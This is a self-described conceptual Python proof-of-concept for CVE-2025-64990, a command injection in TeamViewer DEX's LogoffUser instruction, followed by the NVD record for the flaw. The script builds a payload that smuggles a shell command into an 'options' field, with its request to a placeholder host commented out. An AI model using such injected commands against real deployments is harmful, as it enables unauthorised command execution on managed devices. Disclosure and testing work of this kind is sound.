CVE-2025-64990

#!/usr/bin/env python3 """ CVE-2025-64990 PoC - TeamViewer DEX Command Injection Note: This is a conceptual PoC for educational and security testing purposes only. """ import requests import json TARGET_HOST = "https://target-teamviewer-dex.example.com" API_ENDPOINT = f"{TARGET_HOST}/api/v1/instruction/execute" def create_malicious_payload(): """ Create malicious payload for LogoffUser instruction """ # Malicious command injection payload # The actual vulnerability allows injecting arbitrary commands malicious_command = "; whoami > /tmp/pwned.txt" payload = { "instruction": "1E-Explorer-TachyonCore-LogoffUser", "parameters": { "user_id": "target_user", "session_id": "12345", "device_id": "device_001", # Command injection point "options": malicious_command }, "auth": { "username": "attacker_actioner_account", "password": "compromised_password" } } return payload def exploit_cve(): """ Execute the exploit for CVE-2025-64990 """ print("[*] CVE-2025-64990 - TeamViewer DEX Command Injection") print("[*] Target: TeamViewer DEX < V21.1") payload = create_malicious_payload() # Note: This requires valid Actioner-level credentials headers = { "Content-Type": "application/json", "Authorization": "Bearer <valid_jwt_token>" } try: # Uncomment to execute actual attack (requires authorization) # response = requests.post(API_ENDPOINT, json=payload, headers=headers, verify=False) # print(f"[+] Response: {response.status_code}") # print(f"[+] Result: {response.text}") print("[-] PoC demonstration complete") print("[-] Note: Actual exploitation requires valid Actioner credentials") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit_cve()

{"cve": {"id": "CVE-2025-64990", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:25.937", "lastModified": "2026-01-14T20:18:58.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Explorer-TachyonCore-LogoffUser instruction prior V21.1. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.1", "matchCriteriaId": "724453BA-B90B-4250-93F4-06B38FB28925"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}